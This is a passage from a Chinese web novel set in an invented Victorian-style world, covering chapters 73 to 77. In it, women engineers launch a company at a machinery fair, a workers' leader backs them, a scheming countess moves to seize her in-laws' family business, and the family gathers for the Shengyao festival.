索菲娅的目光扫过人群,勾起唇角:“大到铁路制造、矿井的抽水机,小到工坊齿轮组,大家还是再仔细算算,自己要用到多少教会的技术?” “今天,你们固然可以为了台纺织机倒向怀特家,可是来日……”索菲娅轻笑,眼底滑过讥讽的光芒,“机械教会要是收回其他技术授权,你们的作坊、工厂,打算停摆生锈吗?” 绵里藏针的威胁,像盆冷水浇在众人头上! 刚有些松动的议论声瞬间沉了下去。 莫尔先生攥紧的拳头又松了松,莫尔太太凑过来低声说:“噢,真糟糕,我们还是再想想吧。” 是啊,不是所有人商人都靠着纺织机生存,教会的垄断是方方面面的。最重要的是,索菲娅这番话很明确表明,只要是投靠怀特的,都会被教会列入黑名单。 怀特家的大腿还不算特别粗壮,谁敢在这个时候彻底得罪教会? 眼看室内气氛再次凝滞,索菲娅眼底滑过笑意。 早在来之前,她就已经设想好了对策。能让商人摇摆的,永远都是利益。 她心里的笑容越来越盛,就在这时,楼梯口突然传来脚步声。 伊莎贝尔提着裙摆从阴影里走出来,高跟鞋踩在大理石地面上,发出清脆的回响。 迎着索菲娅的目光,她微笑:“索菲娅姑妈,我想你误会了。” 索菲娅笑容渐收。 “谁说我们只掌握了纺织机技术?”伊莎贝尔轻笑着,一边抬手朝侧门示意。 众人只见六七个穿着工装的女人推着机器走了进来。 为首的女人一身黑衣,胸前别着银质的工程师徽章,头发一丝不苟,正是洁希亚夫人。 她身后跟着特雷莎,一身利落的短外套,手里捧着图纸夹。 紧接着,是留着齐耳短发的劳伦小姐,推着一台带着金属螺旋桨模型的装置。 …… 在诸多惊讶的目光下,承知社的女性成员们上台站定。 伊莎贝尔声音清亮,盯着索菲娅缓缓道:“大家应该没有忘记,我们今天召开的,是机械交流会。” “我们带来的,不仅是最先进的纺织机,还有各类前沿设计。” 她从洁希亚夫人开始,一一介绍:“工程师洁希亚·罗什福尔,她改良了蒸汽传动系统,能把煤炭消耗降低三成。” “工程师特蕾莎,改良纺织机的另一位的功臣,此次还带来了新型恒温装置,能够让染色的色差率降到千分之三。” “劳伦小姐……” 劳伦上前一步,主动将手中的船舶图纸铺在展示架上:“我设计的可变螺距螺旋桨,能根据船舶载重调整桨叶角度。过去货船空载时螺旋桨会空转浪费蒸汽,现在调整角度后,每海里能节省两磅煤炭。” 伊莎贝尔适时接话道:“上周,我们已经在港口货船试装,实验证明,桨叶用的是高锰钢,比铸铁耐磨三倍。” 此后,各个社员分别介绍自己的成品。 抱着看热闹心态的众商人渐渐认真起来。 这可不再是针对纺织业的创新,台上的成果几乎涉及各行各业。 最重要的是,这足够代表她们的研究能力! 一旦这些又好又便宜的东西实现量产,谁也不会再想给教会支付高额税费。 敏锐的商人洞察先机,纷纷上台寻找各自感兴趣的设计。 船舶商人走到劳伦小姐身边,指着追问。劳伦立刻从口袋里掏出个黄铜模型,手指拨动螺旋桨帮忙解答,表现十分专业。 场面自发地形成了真正的机械交流会。 就在特蕾莎给客户做了一个小型实验成功后,人群彻底沸腾了,原本抱着怀疑态度的商人们挤到机器旁,有的摸着凉凉的散热片,有的翻看着船舶图纸,嘴里不停发出惊叹。 索菲娅的脸色彻底沉了下去。 伊莎贝尔没有理会她的目光,等众人安静下来,再次上台道:“以上的设计成果,各位有目共睹。在这里,借着机械交流会,我要宣布一件事。” “诸位所看到的这些优秀工程师,都是我诺曼实业公司的正式员工。而今天,也是诺曼实业公司的开业仪式。”伊莎贝尔颔首,“欢迎各位报名合作。” 话音刚落,比奇先生立刻跳出来,语气带着不屑,“女人抛头露面开公司?真是可笑!” “女人就该在家缝衣服、带孩子!搞机械?开公司?简直不成体统!您是贵族女性,更应该恪守礼仪才对!”仗着索菲娅撑腰,这人壮着胆子提高声音。 “就是!”布鲁森的拥趸附和,“这些机器指不定是男工程师设计的,让她们来装样子罢了!” 伊莎贝尔冷笑一声,走到那工厂主面前:“装样子?她们的成果就摆在眼前,你的工厂今年又有什么新发明?霸占妻子成就的比比皆是,谦虚大方到将名利让给女性的,那可真是比圣曜真神头顶的明珠还罕见啊。” 工厂主涨红了脸,张了张嘴却说不出话。 “女人发明了东西你生什么气?气你头脑愚笨想不出来?还是气你身边没有将成果供你扬名的好妻子?”伊莎贝尔语气平静,“说话之前,注意风度,自诩绅士,嘴脸倒像个强盗。” 工厂主:“我……我……” 台下有人开始鼓掌,海因里希松开了攥紧的拳头,唇角微勾。 “说得好!”公爵先生懒洋洋喝彩。 莫尔朝身边的人点头:“管她是男是女,能让工厂赚钱的技术,就是好技术!要是诺曼实业愿意授权,我第一个跟怀特家合作!” 索菲娅微眯眼。 目光扫过台上,落在特蕾莎身上,眼底闪过一丝狠厉。 这个人倒是眼熟,她看了许久,终于想起来了。 索菲娅突然笑道:“真是了不起的姑娘们,祝贺你们。” “可是,诺曼小姐。”索菲娅看向伊莎贝尔,“如果我没记错,特雷莎小姐,早年是圣匹斯堡修道院的修女吧?” 众人一静,特蕾莎和洁希亚飞速对了对眼神。 索菲娅接着说:“教会的专利条例明文规定,修道院人员接触的技术专利,三年内不得用于非教会授权的产业。” 她声音轻缓,眼神却像毒舌锁定猎物:“而特蕾莎女士现在拿出的恒温装置,该不会是偷了教会的专利吧?”—— 作者有话说:一会儿还有一章,爆炒中! 第74章 章节锁定 第75章 卡洛琳的脚步声在寂静的厂房里显得格外清晰。 她走到台前, 先是朝奥黛丽眨了眨眼,然后转向伊莎贝尔,伸出手:“公爵夫人, 我是卡洛琳·伯克利,赫斯兰的船运商, 很高兴见到你。” “幸会, 卡洛琳小姐。” 卡洛琳摘掉帽子:“我刚才在门外听了各位工程师的作品讲解,说实话,比那些只会守着老技术的男工程师强多了。” 她语气里是不加掩饰的嘲讽。 “我名下有五艘货船,现在就想跟诺曼实业签合同, 把所有船的螺旋桨都换成劳伦小姐设计的可变螺距螺旋。另外, 我在赫斯兰还有两家集体工厂, 特雷莎小姐的恒温装置, 我也想立刻引进。” 这话像一颗石子投进平静的水里,台下瞬间炸开了锅。 “赫斯兰的商人?”有熟悉海运的商人很快想到了什么, “难道是那家新兴的集体商业公司?” 有人醍醐灌顶,有人还一头雾水。 卡洛琳在众人的议论声中礼貌颔首,平静道:“也许这里还有人不认识我,请允许我做个自我介绍。” “我所代表的伯克利海运商贸公司, 是一家集体经济组织。这个名字大家没听说过,但是我们的事迹, 你们应该有所耳闻。”卡洛琳慢条斯理地展开一张报纸。 熟悉的头版头条上,油墨字印刷着新闻内容,正是赫斯兰那起轰轰烈烈的工人运动。 也正是经由这根导火索,战火蔓延到了锡兰,在座的所有人,都被卷入风波之中。 “原来是你发起的工人运动!”有人醒悟。 连查尔斯都忍不住诧异, 和雇主先生对了个眼神。 怀特工厂那次的抗议行动里,布鲁森派出了一个红头发瘦高男伪装成赫斯兰的工人领袖煽风点火,被赫尔曼揭穿。 但是根据秘密线报,的确有个赫斯兰人来到哈登菲尔德领导运动。 没想到这个人竟然是老熟人,卡洛琳! 没等他们反应,卡洛琳继续道:“是的,不仅工人运动是由我发起,我还带着他们开辟三条海岸通商线,成立了集体经济组织。” 她缓缓抽出一张支票,眼带嘲讽:“你们看不上的底层工人,联合在一起,却创造了足以吞并你们的财富。” 说着,将支票递给伊莎贝尔,“这是伯克利商贸付给诺曼实业的定金,请尽快定好合同,谢谢。” 话音落下,会场里的吸气声此起彼伏。 先前众人只当是来个有钱的合作者,此刻才惊觉对方的分量。 集体组织?真是闻所未闻!就像怀特家发明了新技术但公之于众一样,都是令人难以置信的慷慨。 而恰恰因为这样,才不难解释,为什么卡洛琳能成为工人领袖。她可不光在喊口号,而是真正带领大家致富! 这也意味着,她不仅有钱,更握着工人阶层的话语权! 卡洛琳这个突如其来的砝码砸下去,天平立刻朝怀特家歪斜——现在可不光是怀特和布鲁森两家的争端。 索菲娅的教会威胁论固然可怕,但仔细想想,诺曼实业这帮工程师已经拥有打破垄断的技术,真倒戈也不见得会怎么样。 莫尔先生已经认清形势,立刻跟在卡洛琳身后开始报名。 对于怀特阵营的人来说,有了领头羊就好办了,只要怀特不倒,他们就跟着吃肉喝汤! 另一边,索菲娅的脸色沉了下去。 活跃的比奇先生此刻也没有说话的兴趣。 所有人被这位来自赫斯兰的不速之客弄得脑子一团乱麻! 现在最纠结的已经不是怀特阵营,反而是这群跟着布鲁森的人! 以比奇为首的小工厂主,陷在罢工风波里脱不开身,现在知道工人背后有庞大的组织撑腰,这几乎给了他们一个恐怖的信号——只要不妥协,也许就看不到结束的那一天。 他们现在全靠着布鲁森的救济支撑着,布鲁森也不是个多么大方的人,资金总有见底的时候,借款也得还。 布鲁森身后站着索菲娅,以及索菲娅带来的大量钱款。所以之前他们还愿意赌一把,可是现在卡洛琳代表的工人组织已经跟怀特强强联手了,这还怎么玩? 傻子都知道赶紧投降啊! 比奇悄悄抬眼看向索菲娅,见她脸色发白,嘴唇动了动,却还是没敢开口。 下一秒,身后不知是谁先举了手:“我愿意加入合作!” 比奇:“?!” 迎着布鲁森威胁的目光,一部分小工厂主硬着头皮站起来:“还有我!” 像是传染一样,接二连三的人举起手:“我也报名。” 一大波人涌到登记台前,笔尖划过纸张的沙沙声,彻底压过了最初的犹豫。 比奇瞪大眼睛,立刻跳起来:“我我我!加我一个!” 布鲁森:“比奇!想想你的立场!” 比奇眼神飘飞,“理查德,你知道的,绝对的利益面前,不存在立场。” 说着脚底抹油,挤人群里:“我!给比奇公司报名!” 他挤进队伍前列,刚露出谄媚的笑,就对上奥黛丽的眼睛。 她微笑,抽走比奇面前的报名纸:“抱歉,我们不欢迎窃贼。” “不不不,怀特太太,听我解释……那都是布鲁森指使的,我没有……” 奥黛丽冷哼,偏过头不理他。 对于这种人,诺曼小姐可不会施舍宽容! 不等比奇辩解,保镖强势地将他拖走。 随后半小时,席间众人都涌向台上,场面如火如荼。 索菲娅始终坐在原地,脸色已经逐渐冰冷。 她很清楚,这局彻底输了。 她料到伊莎贝尔一定会有救场的方法,可是怎么能猜到天降一个莫名其妙的工人领袖,还带着足额的金钱? ! 难道是圣曜真神非要保佑这个无信仰的女人? 太可笑了。 索菲娅狠狠闭上眼。 身边突然响起熟悉的声音,“还要坐在这里观赏自己的失败吗?姑妈。” 索菲娅没有睁眼,她的下颌线绷得死紧,脸色一点点沉成墨色。 布鲁森小心翼翼地看了眼她可怕的神情,欲言又止。 索菲娅知道他要说什么。 带领着阵营商人以及教会势力向对手施压,都是需要钱的。布鲁森家维持自己度过工人运动就已经不容易,这些供给已经掏空了他的钱包。 如果还要继续下去,必须要索菲娅的支持。 索菲娅有钱,她利用埃德蒙卷走了半个斯宾塞家。布鲁森是她在肯特郡的钱袋子,索菲娅不能任由他倒下,现在轮到她掏钱救场了。 按照现在的形势,只要填补了布鲁森家的窟窿,虽然伤了元气,但好歹还能支撑下去。 算是个保本买卖。 可是……保本买卖?谁稀罕保这个本? 索菲娅从牙关里发出冷笑。 她缓缓睁眼,看向伊莎贝尔:“只要不下赌桌,谁都有翻盘的机会。” 她倏然起身往外走去,布鲁森赶紧跟上。 伊莎贝尔的视线追随她走远。 她的手指规律地敲击桌面,眼底一派轻松淡然。 想翻盘?做梦去吧- 布鲁森家。 自从那场交流会结束后,几乎大半个布鲁森阵营的商人倒戈。 局势已经很明了,同意工人条件是大势所趋,布鲁森也不例外。接连一个礼拜,老布鲁森都在料理这个烂摊子。 报纸骂他是黑心资本家,迫不得已才妥协。工人出于愤怒,提出更高的条件才愿意复工。底下几家小商人跟着催款要缴纳赎罪金…… 输家的痛苦就在于赔了夫人又折兵! 钱没赚到,名声也没了,还欠下一屁股债!未来怀特家掌握技术占领市场,布鲁森这边是肉眼可见地没有发展潜力!前途一片黑暗! 反观对面,报纸连登几天头版头条,报道怀特公司技术进展,又宣布哪几家公司开展了新合作。 甚至还有人把赫尔曼评为年度良心商人! 赫尔曼?良心? !这两个词能联系到一起吗? 老布鲁森气得烟斗都掉了,人也快中风了! 这天晚上,老头疲惫地推开书房门,看向窗边的索菲娅。 当年,他把孙女嫁进布伦瑞克伯爵府,以为是无上光荣。对着这家人卑躬屈膝,恭敬无比。 此刻,他可一点儿讨好的心情都没有,直截了当道:“撑不住了,布鲁森家族快破产了。” 索菲娅回过头:“你想说什么?” “给怀特施压这件事,是我们共同的决策,我不会推卸在你身上。可是,布鲁森家族已经到了撑不下去的时候,你必须帮我。”布鲁森沉声道,“我当年帮你捞了多少钱,那些钱的来历,你我心知肚明。我不贪心,只要你拿出一半,以后我还会是你的钱袋子。” 索菲娅沉默片刻,飞快道:“好啊。” 布鲁森愣了下,没料到她答应得这么干脆。 “你当年帮了我这么多,丽萨肚子里还怀着我的孙子,我当然不会眼睁睁看着布鲁森家族倒下去。”索菲娅和颜悦色,眼底透着关切。 布鲁森眼睛发亮:“您……您说的是真的吗?” 话音未落,门被推开,丽萨欣喜地走进来,“爷爷!我就说母亲不会见死不救!” 她摸了摸肚子,掉下几滴眼泪,感激地握着索菲娅的手:“谢谢您,母亲,我就知道这个好消息能让您心软!” 亚当摇着轮椅进来,神情却并不像妻子那么激动。 他眼带审视,看向索菲娅。 以他对母亲的了解,她不可能做出这么仁慈的事情。 索菲娅丝毫不在意儿子的目光,就像看待一个没有生命的工具。 某种意义上来说,这个儿子的确是好用的工具。 刚出生时就助她成为伯爵夫人、又因为聪明却残疾收获老伯爵的怜惜,连带着索菲娅这个母亲地位也更稳固。后来长大袭爵,索菲娅顺理成章接过儿子的权柄,又帮他娶了拥有大笔嫁妆的商人女儿。 她几乎将亚当的作用发挥到极致。 亚当看着母亲,渐渐明白了什么。 他徒劳地动了动嘴唇,试图说些话,至少劝阻她别对自己的妻子那么残忍,哪怕她是个商人的女儿。 “母亲,丽萨是我的妻子,还怀着我的孩子,你的孙子。” 丽萨爷孙俩还没明白亚当说这话的意思。 可是索菲娅的目光却渐渐冷了下去,虽然脸上还挂着微笑。 “是的,我当然疼爱丽萨。”她慈爱地摸了摸丽萨的肚子,却用轻描淡写地口吻说出残酷的话,“所以我才决定拯救布鲁森家,为此,我愿意投入资金,并暂代理查德的管事之权,让你们祖孙都可以好好休息,这不好吗?” 话音落下,理查德和丽萨的脸色白了。 烟斗掉在地上,理查德胸膛起伏激烈,老头颤抖着手:“你……你这个狠毒的女人!原来你想趁机吞掉布鲁森家族,你想彻底把我们掌握在手里!你……” 丽萨扶着爷爷,茫然地看着索菲娅,“母亲……你怎么能这么做?” 索菲娅慢条斯理地整理鬓发,“不是你主动邀请我来肯特郡吗?亲爱的。” 她微笑:“我们是一家人,何必分得那么清楚。只有我好了,布鲁森家才能好啊。” 丽萨满眼是泪,浑身发冷。 他们干的都是什么蠢事啊!索菲娅就是条毒蛇! 早该想到的,世上哪有这么好的买卖?以为上嫁是荣耀,实际上,这副家业早被别人惦记!他们还在引狼入室! 丽萨只觉得天旋地转,痛呼一声往后倒去。 “丽萨!” 亚当惊呼,整个人下意识扑上前,却忘了腿脚不便利,跌落在地,所幸接住了丽萨,没让她摔倒。 理查德顾不得愤怒,忙赶着叫医生。 兵荒马乱间,索菲娅却只对着理查德笑道:“好好考虑,你很清楚,只有这条路可以走。” 理查德顿住脚步,含恨离开。 亚当匍匐在地上,仰头看着逆光之下的母亲。仿佛回到年幼时,他偷偷学习走路想给母亲惊喜,结果摔倒在地,她也是如此冷漠地看着他。 似乎在看一个不守规矩,私自逃出牢笼的犯人。 头脑灵活,但行动受限,亚当觉得自己这一生就像个傀儡,永远清醒地痛苦着。 最绝望的一刻,是他知道,自己竟然还在祈求那份母爱。 假如他不是亲生的,也许那份痛苦能稍稍减轻。可是,相似的眉眼和同样敏锐的心智,无一不在证明自己的血脉来源于她。 丽萨无意识发出痛苦的呻吟,亚当立刻回神,低垂的头颅遮住深沉的眼神。 窗外的风卷着落叶撞在玻璃上,发出轻响。 看着丽萨苍白的脸,亚当突然觉得,从前和母亲还维系着的链接,是时候断开了。 第76章 温斯顿庄园。 温暖的室内,奥黛丽拉着卡洛琳的手,眼睛亮亮的,“请和我说说你的经历,亲爱的。你无法想象我对海的另一边多么好奇。” 全家人包括查尔斯,都围坐在客厅里, 等待卡洛琳讲述她的奇遇。 她的头发变短了, 皮肤也因为海上的风吹日晒变成小麦色, 但是那双眼睛却比从前明亮许多。 “老实说,关于你喜爱的冒险故事,我想你的丈夫应该比我了解得更多。”卡洛琳眨眨眼,俏皮地调侃,看向赫尔曼的眼神就像一个久别重逢的老朋友,没有暧昧的痕迹。 赫尔曼接过奥黛丽手中的帕比,看着卡洛琳漫不经心道:“我想她不是好奇冒险故事,而是更好奇你。” 奥黛丽:“呃……” 赫尔曼又睨着妻子,不咸不淡道:“否则怎么没听见有人找我讲故事,也不关心我是不是去过更远的海岸。” “噢,查尔斯,空气里好像飘着酸味,你闻见了吗?”卡洛琳看向老伙计。 查尔斯配合地吸了吸鼻子,煞有介事:“像是厨娘打翻了苹果醋, 源头就在身边。” 奥黛丽信以为真,和听得懂人话的小狗帕比同步耸了耸鼻子:“有吗?在哪呢?” 伊莎贝尔含笑捏了捏妹妹的脸, 海因里希懒洋洋靠在沙发里,牢牢占据妻子的左肩,故意长叹一口气:“有些人啊……唉,没救了。” 奥黛丽瞪大眼睛, 立刻就要跟海因里希吵起来。坐在二人中间的伊莎贝尔熟练地堵住耳朵。 葛丽泰赶紧劝架,拉走奥黛丽:“噢,别再开贝拉的玩笑了,快听听卡洛琳的故事吧。” 赫尔曼跟着起身坐在奥黛丽身边,还不忘拎起帕比。像是早就等着把妻子调离伊莎贝尔身边。 卡洛琳默默关注着他们的小动作,和查尔斯相视一笑。 一个是现任下属,一个是曾经的下属,他们两个人当然发现了老上司的变化。别的不说,脸皮反正是变厚了。当然,心机还是一样深沉,只不过现在那点手段全放太太身上了。 “说起来,去赫斯兰的路上的确遇到几件惊险的事。”卡洛琳满足奥黛丽的好奇心,讲了几件遇到海盗以及暴雨天化险为夷的故事。 “噢,难以置信!你受伤了吗?”奥黛丽听完忍不住拍了拍胸口压惊,眼睛里满是关切。 “有点小伤,但是坚强的意志让我挺住了。”卡洛琳神情轻松地调侃,可是任谁也能猜到,她一定吃了很多苦。 看见大家都很爱听故事,卡洛琳便事无巨细讲了她的经历,从看见底层工人受欺压,到发现商机,以及后续联合所有人开辟新的贸易等等。 这下不仅奥黛丽和葛丽泰听得如痴如醉,连另外几位见多识广的人物也在认真聆听。 海因里希关注赫斯兰的局势,赫尔曼对卡洛琳的集体公司模式感兴趣,伊莎贝尔询问了卡洛琳工人运动相关。 几个人一直聊到夕阳西下。 葛丽泰热情地留卡洛琳用晚餐,并邀请她在温斯顿庄园度过这个圣曜节。 当然,这也是所有人的意愿。 晚餐时,伊莎贝尔和海因里希照例换上晚礼服,奥黛丽也难以改变这个习惯。 卡洛琳看见两位衣着华丽的女士步入餐厅,不由得想起第一次看见奥黛丽的情形。 那时她心有不甘,极力克制着对她的羡慕,将扭曲的情绪借由锋利的话语宣泄出来。 而此刻,她却发自内心地赞叹道:“分外美丽的女士们。” 奥黛丽笑着迎上前,水蓝色的眼睛倒映着卡洛琳的脸,拎着裙子屈膝颔首:“谢谢。” “不,是我要谢谢你。”卡洛琳忽然道。 奥黛丽一愣,很快莞尔:“不,卡洛琳,你要谢你自己,是你勇敢地迈出了那一步。” “可如果没有你的帮助,也许我会一直沉浸在莫须有的竞争里,错过本该属于自己的风景。”卡洛琳微笑,递上早就准备好的支票:“这是你当时给我的本金。” 奥黛丽接过支票,还没说话,卡洛琳又拿出一份文件:“这是利息。” “利息?”奥黛丽翻阅文件,大吃一惊,“噢?这是伯克利公司的股份?不,卡洛琳,这已经大大超过感谢的范畴,我不能收。” 卡洛琳耸肩:“我不喜欢陷入无谓的推来送往,怎样衡量回报的尺度,是我决定的。” 奥黛丽被迫收下贵重的谢礼,她看向身后正在往这边走来的伊莎贝尔,眼神无措。 伊莎贝尔已经听见她们的谈话,接过文件看了一会儿,开口道:“卡洛琳小姐,你无偿赠与的股份太重了,这几乎是将半个公司送人。我们不能收。” 卡洛琳摆摆手,并不想解释太多。 “这样吧。”伊莎贝尔沉吟片刻,“我用诺曼实业的股份跟你置换,你拥有诺曼股份的同时,伯克利公司的股份也由我的名字持有。” 卡洛琳顿了顿,思考片刻:“以你的名字?奥黛丽·诺曼?” 伊莎贝尔隐晦地扫了眼妹妹,自然道:“放心,我会再签署协议转赠给伊莎贝尔,怎么样?” 两家公司本就决定合作,某种意义上来说,这相当于强强联手,联系得更加紧密。 虽然背离了卡洛琳的赠予初衷,但看着两位诺曼小姐坚决的眼神,还是点头同意了。 “好,但是我的分红还是要剥离一部分给伊莎贝尔小姐。”卡洛琳挑眉,顿了顿,看着奥黛丽,“听着,别着急拒绝,如果你认可我这个朋友,就接受它。你也许不明白,那一天对于我的意义。” 奥黛丽微怔,鼻子发酸,“噢,亲爱的卡洛琳。” 她送上一个拥抱。 伊莎贝尔含笑举杯敬卡洛琳道:“很了不起的女士,为你的成就感到高兴。” 奥黛丽握住卡洛琳的手,摸了摸掌心粗糙的茧子,低声道:“是的,真为你骄傲,卡洛琳。” 卡洛琳扯开一抹笑,沉默片刻才看向伊莎贝尔:“实际上,你应该还不知道,很久之前,我对你的姐妹做过一些不好的事情,现在想想仍然感到羞愧。” 奥黛丽:“可是我一点儿也没受伤害。你不用放在心上。” 伊莎贝尔和卡洛琳对视一眼,不约而同地笑了起来。 “那是因为你足够善良,所以愿意原谅我。”卡洛琳眼眸深邃,笑容复杂,“而我不能仗着你的善良,假装自己对你造成的伤害并不存在。” 奥黛丽怔然,只觉得有暖流包裹心房。 “我……我都忘记了。”她看了眼姐姐,小心翼翼地撒谎。 伊莎贝尔当然不会拆穿妹妹,她只是含笑看着卡洛琳:“世上多的是装聋作哑、不敢坦诚的人。也感谢你足够善良,所以才会想要在今天弥补错误。” “伤害就是伤害,时过境迁,只能说尽力弥补。”卡洛琳微笑看着奥黛丽,“不过别担心,我并不是刻意索取你原谅的意思,尽管你总是很擅长原谅别人。可是……我却真心地希望,你能抛弃这项优点。” “这也算优点吗?”奥黛丽下意识看向姐姐,有点茫然。 伊莎贝尔揉了揉妹妹的头,没有解释。她看向卡洛琳:“你做出弥补的举动,代表你完成反思,解决了属于自己的功课。至于恢复伤口、或者要不要改变,那是贝拉的功课,你不需要为她操心。”卡洛琳有些不解:“你不希望她心肠更硬一点?” “心肠硬固然很可贵。”伊莎贝尔轻笑,眸光带着深意,“自私自利、不择手段等等,这些在我看来都是中性词,都不过是一个人在绝境里做出的选择,所以我不做评判。可是……我见过太多这样的人,包括我自己。所以并不觉得多么值得称道。” 奥黛丽投以不赞成的眼神:“你乱说,你没有。” “好,我没有,我只是说必要的情况下。”伊莎贝尔耸耸肩,一边轻笑着对卡洛琳道,“所以你看到了,有一个道德标兵在身边压制,我也很难做个坏蛋。” 卡洛琳沉默片刻,笑了起来:“我懂了,你希望她仍然做一个柔软的人。就像成为沙漠里的沙子并不特别,成为绿洲才难能可贵。” 是经过风霜洗礼,仍然没有被黄沙同化,保持着盎然生机的绿洲。 伊莎贝尔微笑,没有说话。 管家提醒晚餐即将开始,几人一起入座。 赫尔曼和海因里希连襟俩坐在一起。倒不是说他们自愿,只是成熟的丈夫总是很有眼力劲,明知道今晚两位女士都要陪伴客人,当然懂事地让开位置。 对面照例欢声笑语,这边却只有刀叉碰撞的声音。 海因里希喝了口葡萄酒,睨着赫尔曼,难得开口道:“想什么呢?” 刚才女士们的谈话有零星几句落入男士的耳中,海因里希没仔细听,反正他的太太绝对是英明智慧说话富有哲理全场第一就对了! 于是到现在才注意到,身边的连襟自从那时起就陷入沉默。 “没什么。”赫尔曼敷衍回答。 海因里希冷哼,一副了然于胸的样子:“不说就算了,本来看在连襟关系的份上,我还能指点你两句。” 要是放在以前,赫尔曼肯定不屑搭理这句话。 虽然他自己在恋爱方面算不上高手,但是公爵又好得到哪里去?谁看不出来海因里希被那女人驯得服服帖帖! 又沉默许久,赫尔曼闷头喝了两杯香槟。 因为那场谈话,他后知后觉,自己心里的愧疚。 如果说卡洛琳对奥黛丽造成了伤害,那么他又好得到哪里去呢? 可是更令人觉得不是滋味的,是奥黛丽那么轻松地说出原谅。 赫尔曼叹了口气,看向对面满脸高兴的奥黛丽,心里和卡洛琳竟有相同的感受。 既希望她原谅自己,又希望她不要原谅。 良久,他忽然看向海因里希:“如果我做了对不起太太的事情,怎么弥补才好?” “你对不起伊莎贝尔?哪方面?”海因里希先是诧异。 赫尔曼深吸一口气,一时不知从哪里说起:“我……” “好了别说了。”海因里希目光渐渐鄙夷,最后高傲地抬起下巴:“抱歉,在得罪太太这方面我没有经验,毕竟我可是个再称职不过的丈夫。” “……”赫尔曼面无表情盯着得意洋洋的连襟,怀疑自己脑抽了才来问他。 - 晚餐风波后,大家各自找活动消食。 卡洛琳去花圃里散步。 冬天的百叶蔷薇陷入沉睡,粉色花海仿佛还在昨天。 她看着那天和奥黛丽一起坐过的秋千,思绪翻涌。 卡洛琳其实隐瞒部分经历。比如她亲手杀过海盗、遇到危险时,也曾权衡利弊,做出过维护自己利益的事情。 她相信伊莎贝尔或是赫尔曼都听出了善意的隐瞒。 太阳出来,阴影就会消失。他们应该也能理解,站在美好的人身边,就会不自觉地收敛内心的阴暗。 夜风呼啸,吹乱卡洛琳的短发。 她看见花圃里建起一座温室,里面精心培育着冬天罕见的金盏菊。 那是伊莎贝尔带来的种子,再经由赫尔曼安排人专门打理,才种出这么一小块花海。 善良也是需要养育的,奥黛丽就是温室里的金盏菊,是被很多双手托举着长大的孩子。所以才能那么肆无忌惮地释放善意。 卡洛琳又想起当初内心滋生的阴暗,她曾为此感到无比痛苦。 甚至偶尔会想,如果把金盏菊的种子扔进贫瘠的土壤,也开不出那么美丽的花吧! 可是随着时间推移,她变了。 也忘了是哪天开始,好像是赚到了第一桶金,又好像是开始教贫民窟的工人识字…… 渐渐的,随着阅历的丰富,卡洛琳见到了更宽广的世界,经历过生与死的考验,偶然回首往事,发觉那片阴影消失了。 她不再羡慕那朵金盏菊。 百叶蔷薇的种子跟随卡洛琳漂洋过海,洒在赫斯兰的土地,开出属于自己的花。 “卡洛琳!外面很冷!进来玩牌!” 身后传来熟悉的呼喊。 卡洛琳回过头,温暖的灯光里,她看见奥黛丽在招手,身后站着一大家子,一起看向她。 百叶蔷薇走遍大地,在哪都能安家。 曾经她抓住那根救命稻草,强行把这里当成自己的家。后来她离开庄园,随遇而安,已经不再执着追求所谓的归宿。 可是此刻,她看着这一幕,忽然生出回家的错觉。 第77章 圣曜节终于在所有人的期盼中到来。 从清晨开始,温斯顿庄园众人就忙得团团转。 仆人们的身影在走廊与大厅里织成忙碌的网,有人踮脚往松枝上挂金箔星星,有人蹲在地毯上给满屋子小怀特们系红绒蝴蝶结。小猫黛西调皮地甩着尾巴,差点把旁边托盘里的姜饼撞翻,女仆赶紧笑着扶住。 葛丽泰嗔怪地亲了亲小猫, “噢, 你这个小淘气。” 露西正好推着礼服架子经过,眨眨眼:“库珀夫人,我想小怀特们也为今天感到高兴。” 伊莎贝尔带来的艾米丽已经换好节日服装,手里端着首饰托盘往楼上走,一边喜气洋洋道:“当然,沾贵府的光,我也领到了节日津贴,毫无疑问今年我们会度过一个完美的圣曜节。” “好姑娘们,真是嘴甜!”葛丽泰笑呵呵, “快去看看你们各自的诺曼小姐是否需要帮助,已经快到出发慰问村民的时间了。” 两个女仆同时颔首行礼:“好的,夫人。” 自从解决了索菲娅的麻烦,庄园这边大获全胜。赫尔曼在金钱方面并不小气,伊莎贝尔更是大方,两对夫妇分别给所有人发了丰厚的奖金,包括家里的小狗小猫都分到了新衣服。 所以这一年的圣曜节,连厨房的炉火都比往常暖几分,忙碌中透着喜气。 起居室里,赫尔曼和海因里希已经装扮一新。 银头发先生打扮得很简单,今天只穿着新做的黑色礼服,外套深色大衣,闪亮的宝石袖扣是奥黛丽的小巧思。 而公爵先生则讲究得多,他在外貌方面向来是有点好胜心的。不仅狼尾碎发精心打理过,从丝绸衬衫到外套以及长靴,都按照色系搭配,领结也特意选择了和伊莎贝尔的裙子同样的颜色。 本就出色的外貌经过这么一捯饬,可以登报参与选美比赛。 海因里希显然帅而自知,从更衣室走出来就一路昂首挺胸,自信的气势扑面而来。 赫尔曼看不惯这种做派,竖起报纸挡住脸,面无表情翻了个白眼。 海因里希才懒得管连襟怎么想,他刻意地站到伊莎贝尔的身后,咳嗽两声。 艾米丽正在给伊莎贝尔戴头饰,化妆镜里倒映出海因里希的脸。 艾米丽挑眉,咬住嘴唇道:“噢,夫人,公爵先生今天看起来很精神。” 伊莎贝尔轻笑,回过头打量海因里希。 海因里希立刻扬起下巴,整了整领结。 “嗯,还是同款领结,真不错。”伊莎贝尔歪着头,很给面子地夸赞,“那款蓝宝石袖扣也很好看,和亚特兰蒂斯皇冠出自同一个设计师的吗?” 海因里希得意扬眉,很快意识到不够稳重,咳嗽两声,维持着平稳嗓音:“是的,正巧只带了这一颗。随手一挑就这么合适,噢,真是没办法。” “哇哦,很棒的巧合。”伊莎贝尔没有戳穿海因里希偷偷带了一整箱配饰,将鼓励进行到底,“今天你完美得无可挑剔。” 海因里希这下彻底高兴了,哼哼着挤开艾米丽,亲自给伊莎贝尔戴耳环,趁人不注意,偷偷凑近,点了点自己的脸。 伊莎贝尔忍不住笑出声,在他脸上亲了亲。 男人嘛,肯花心思就很好,而且她很中意海因里希的外表,所以不介意配合他的幼稚手段。 正抱着帕比给它换装的奥黛丽从里间走了出来,看见这一幕,和丈夫一起翻了个大大的白眼。 心机男! “让一让!”奥黛丽挤开海因里希,将小狗塞进他怀里,自己帮姐姐戴上冬青元素的胸针,高兴道:“这是我找设计师统一订做的,全家都有,女士是胸针,男士是领饰。看看,漂亮吗?” 伊莎贝尔看向镜子。 